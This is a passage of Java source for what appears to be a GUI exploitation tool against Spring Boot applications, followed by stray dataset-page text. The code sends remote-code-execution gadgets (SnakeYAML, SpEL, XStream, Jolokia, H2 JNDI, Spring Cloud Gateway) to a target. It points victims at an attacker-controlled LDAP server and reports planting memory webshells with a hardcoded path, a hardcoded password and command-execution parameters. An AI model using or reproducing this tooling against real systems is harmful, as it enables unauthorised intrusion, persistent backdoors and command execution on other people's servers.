TextArea execOutputArea; @FXML private Button executeCmdBtn; @FXML public ComboBox<String> memShellOpt; @FXML private TextField shellPathText; @FXML private TextField shellPassText; @FXML private Button injectShellBtn; @FXML public TextArea InjOutputArea; public static TextArea ip; @FXML public TextField hport; @FXML public TextField lport; public static String hports; public static String lports; LDAPUtil ldapUtil = null; public AttackService attackService = null; @FXML void initialize() { this.initToolbar(); this.initComBoBox(); // this.initContext(); this.initConnect(); this.initAttack(); ControllersFactory.controllers.put(MainController.class.getSimpleName(), this); } public void initAttack() { String targetAddressText = this.targetAddress.getText(); String httpTimeoutText = this.httpTimeout.getText(); boolean version = false; this.attackService = new AttackService(targetAddressText, httpTimeoutText); } private void initConnect() { // this.vps.setText("1.116.32.76"); this.vps.setText("127.0.0.1"); this.httpTimeout.setText("50"); this.targetAddress.setText("http://127.0.0.1:9095"); this.lport.setText("1389"); this.hport.setText("3456"); } private void initComBoBox() { ObservableList<String> gadgets = FXCollections.observableArrayList(new String[]{ "SnakeYAMLRCE", "SpELRCE", "EurekaXstreamRCE", "JolokiaLogbackRCE", "JolokiaRealmRCE", "H2DatabaseConsoleJNDIRCE", "SpringCloudGatewayRCE"}); this.gadgetOpt.setPromptText("SnakeYAMLRCE"); this.gadgetOpt.setValue("SnakeYAMLRCE"); this.gadgetOpt.setItems(gadgets); // ObservableList<String> echoes =FXCollections.observableArrayList(new String[]{"TomcatEcho","SpringEcho"}); // this.echoOpt.setPromptText("TomcatEcho"); // this.echoOpt.setValue("TomcatEcho"); // this.echoOpt.setItems(echoes); // this.shellPassText.setText("cat666"); // this.shellPathText.setText("/catcat66"); // final ObservableList<String> memShells = FXCollections.observableArrayList(new String[]{"哥斯拉[Filter]", "蚁剑[Filter]", "冰蝎[Filter]", "NeoreGeorg[Filter]", "reGeorg[Filter]", "哥斯拉[Servlet]", "蚁剑[Servlet]", "冰蝎[Servlet]", "NeoreGeorg[Servlet]", "reGeorg[Servlet]"}); // this.memShellOpt.setPromptText("冰蝎[Filter]"); // this.memShellOpt.setValue("冰蝎[Filter]"); // this.memShellOpt.setItems(memShells); // this.memShellOpt.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener<Number>() { // @Override // public void changed(ObservableValue<? extends Number> observableValue, Number number, Number number2) { // if (((String)memShells.get(number2.intValue())).contains("reGeorg")) { // MainController.this.shellPassText.setDisable(true); // } else { // MainController.this.shellPassText.setDisable(false); // } // // } // }); } private void initToolbar() { this.proxySetupBtn.setOnAction(new EventHandler<ActionEvent>() { @Override public void handle(ActionEvent event) { final Alert inputDialog = new Alert(Alert.AlertType.NONE); inputDialog.setResizable(true); final Window window = inputDialog.getDialogPane().getScene().getWindow(); window.setOnCloseRequest(new EventHandler<WindowEvent>() { @Override public void handle(WindowEvent e) { window.hide(); } }); ToggleGroup statusGroup = new ToggleGroup(); RadioButton enableRadio = new RadioButton("启用"); final RadioButton disableRadio = new RadioButton("禁用"); enableRadio.setToggleGroup(statusGroup); disableRadio.setToggleGroup(statusGroup); HBox statusHbox = new HBox(); statusHbox.setSpacing(10.0D); statusHbox.getChildren().add(enableRadio); statusHbox.getChildren().add(disableRadio); GridPane proxyGridPane = new GridPane(); proxyGridPane.setVgap(15.0D); proxyGridPane.setPadding(new Insets(20.0D, 20.0D, 0.0D, 10.0D)); Label typeLabel = new Label("类型:"); final ComboBox<String> typeCombo = new ComboBox(); typeCombo.setItems(FXCollections.observableArrayList(new String[]{"HTTP", "SOCKS"})); typeCombo.getSelectionModel().select(0); Label IPLabel = new Label("IP地址:"); final TextField IPText = new TextField(); Label PortLabel = new Label("端口:"); final TextField PortText = new TextField(); Label userNameLabel = new Label("用户名:"); final TextField userNameText = new TextField(); Label passwordLabel = new Label("密码:"); final TextField passwordText = new TextField(); Button cancelBtn = new Button("取消"); Button saveBtn = new Button("保存"); saveBtn.setDefaultButton(true); if (currentProxy.get("proxy") != null) { Proxy currProxy = (Proxy) currentProxy.get("proxy"); String proxyInfo = currProxy.address().toString(); String[] info = proxyInfo.split(":"); String hisIpAddress = info[0].replace("/", ""); String hisPort = info[1]; IPText.setText(hisIpAddress); PortText.setText(hisPort); enableRadio.setSelected(true); System.out.println(proxyInfo); } else { enableRadio.setSelected(false); } saveBtn.setOnAction(new EventHandler<ActionEvent>() { @Override public void handle(ActionEvent e) { if (disableRadio.isSelected()) { currentProxy.put("proxy", (Object) null); // this.proxyStatusLabel.setText(""); inputDialog.getDialogPane().getScene().getWindow().hide(); } else { String type; String ipAddress; if (!userNameText.getText().trim().equals("")) { ipAddress = userNameText.getText().trim(); type = passwordText.getText(); final String finalIpAddress = ipAddress; final String finalType = type; Authenticator.setDefault(new Authenticator() { @Override public PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(finalIpAddress, finalType.toCharArray()); } }); } else { Authenticator.setDefault((Authenticator) null); } currentProxy.put("username", userNameText.getText()); currentProxy.put("password", passwordText.getText()); ipAddress = IPText.getText(); String port = PortText.getText(); InetSocketAddress proxyAddr = new InetSocketAddress(ipAddress, Integer.parseInt(port)); type = ((String) typeCombo.getValue()).toString(); Proxy proxy; if (type.equals("HTTP")) { proxy = new Proxy(Proxy.Type.HTTP, proxyAddr); currentProxy.put("proxy", proxy); } else if (type.equals("SOCKS")) { proxy = new Proxy(Proxy.Type.SOCKS, proxyAddr); currentProxy.put("proxy", proxy); } // this.proxyStatusLabel.setText("代理生效中: " + ipAddress + ":" + port); inputDialog.getDialogPane().getScene().getWindow().hide(); } } }); cancelBtn.setOnAction(new EventHandler<ActionEvent>() { @Override public void handle(ActionEvent e) { inputDialog.getDialogPane().getScene().getWindow().hide(); } }); proxyGridPane.add(statusHbox, 1, 0); proxyGridPane.add(typeLabel, 0, 1); proxyGridPane.add(typeCombo, 1, 1); proxyGridPane.add(IPLabel, 0, 2); proxyGridPane.add(IPText, 1, 2); proxyGridPane.add(PortLabel, 0, 3); proxyGridPane.add(PortText, 1, 3); proxyGridPane.add(userNameLabel, 0, 4); proxyGridPane.add(userNameText, 1, 4); proxyGridPane.add(passwordLabel, 0, 5); proxyGridPane.add(passwordText, 1, 5); HBox buttonBox = new HBox(); buttonBox.setSpacing(20.0D); buttonBox.setAlignment(Pos.CENTER); buttonBox.getChildren().add(cancelBtn); buttonBox.getChildren().add(saveBtn); GridPane.setColumnSpan(buttonBox, 2); proxyGridPane.add(buttonBox, 0, 6); inputDialog.getDialogPane().setContent(proxyGridPane); inputDialog.showAndWait(); } }); } public void crackSpcGadgetBtn(ActionEvent actionEvent) { if (this.attackService == null) { this.initAttack(); } if (!this.vps.getText().equals("") && !this.targetAddress.getText().equals("")){ if (this.gadgetOpt.getValue().equalsIgnoreCase("spelrce")){ SpelUtils spel = new SpelUtils(); String poc = spel.SpelExpr(this.vps.getText()); String ssti = spel.SpelSsti(this.vps.getText()); this.logTextArea.appendText(Utils.log("Payload 食用方法示例:http://127.0.0.1:9091/article?id=Payload")); this.logTextArea.appendText(Utils.log("ldap://" + this.vps.getText() + ":1389/basic/TomcatMemShell3")); this.logTextArea.appendText(Utils.log(poc)); this.logTextArea.appendText(Utils.log(ssti)); }else { boolean flag = this.attackService.gadgetSend(this.targetAddress.getText(), this.vps.getText(),this.gadgetOpt.getValue(),this.getPorts()); if(flag){ System.out.println(this.gadgetOpt.getValue()); if (this.gadgetOpt.getValue().equalsIgnoreCase("SpringCloudGatewayRCE")){ this.logTextArea.appendText(Utils.log(" SpringCloudGateway 漏洞利用成功")); this.logTextArea.appendText(Utils.log(" 请自行检查是NettyMemshell 还是 SpringRequestMappingMemshell!")); this.logTextArea.appendText(Utils.log(" 如果是SpringRequestMappingMemshell,/?cmd={cmd} 执行命令")); this.logTextArea.appendText(Utils.log(" 如果是NettyMemshell,header头 X-CMD: {cmd} 执行命令")); }else { if (HTTPUtils.getRequest(String.valueOf(this.targetAddress.getText()),"ateam").isOk()){ this.logTextArea.appendText(Utils.log(" 冰蝎内存马注入成功 !")); this.logTextArea.appendText(Utils.log( " /ateam 密码:ateamnb")); }else { this.logTextArea.appendText(Utils.log("漏洞利用失败!\t")); } } }else { this.logTextArea.appendText(Utils.log("漏洞利用失败!\t")); } } } } public void crackGadgetBtn(ActionEvent actionEvent) { } // 验证 <SUF> public boolean connect() { try { String vps = this.vps.getText(); if(!vps.isEmpty()){ // 判断http 服务是否生效 if(HTTPUtils.getRequest(vps + ":" + hport.getText() ,"isOK.txt").getStatus() == 200){ this.logTextArea.appendText(Utils.log("HTTP Server Is OK!")); this.logTextArea.appendText(Utils.log("HTTP Server Is Working " + vps + " 的 3456 Port!")); // 判断 ldap 服务是否生效 // if(ldapUtil.sendLDAPRequest(vps)){ // this.logTextArea.appendText(Utils.log("LDAP Server Is OK!")); // this.logTextArea.appendText(Utils.log("LDAP Server Is Working " + vps + " 的 1389 Port!")); // return true; // }else { // this.logTextArea.appendText(Utils.log("LDAP Server 绑定 1389 端口失败!")); // this.logTextArea.appendText(Utils.log("请检查 " + vps + " 的 1389端口是否被占用!")); // } return true; }else { this.logTextArea.appendText(Utils.log("HTTP Server 绑定 3456 端口失败!")); this.logTextArea.appendText(Utils.log("请检查 " + vps + "的3456端口是否被占用!")); } } }catch (Exception e){ this.logTextArea.appendText(Utils.log(e.getMessage())); } return false; } public void check(ActionEvent actionEvent) { try { SpringBootInfo info = new SpringBootInfo(); info.doCheck(this.targetAddress.getText()); }catch (Exception e){ this.logTextArea.appendText(Utils.log(e.getMessage())); } } public String[] getPorts(){ String[] result = new String[]{this.hport.getText(),this.lport.getText()}; return result; } }
0
README.md exists but content is empty. Use the Edit dataset card button to edit it.
Downloads last month
39
Edit dataset card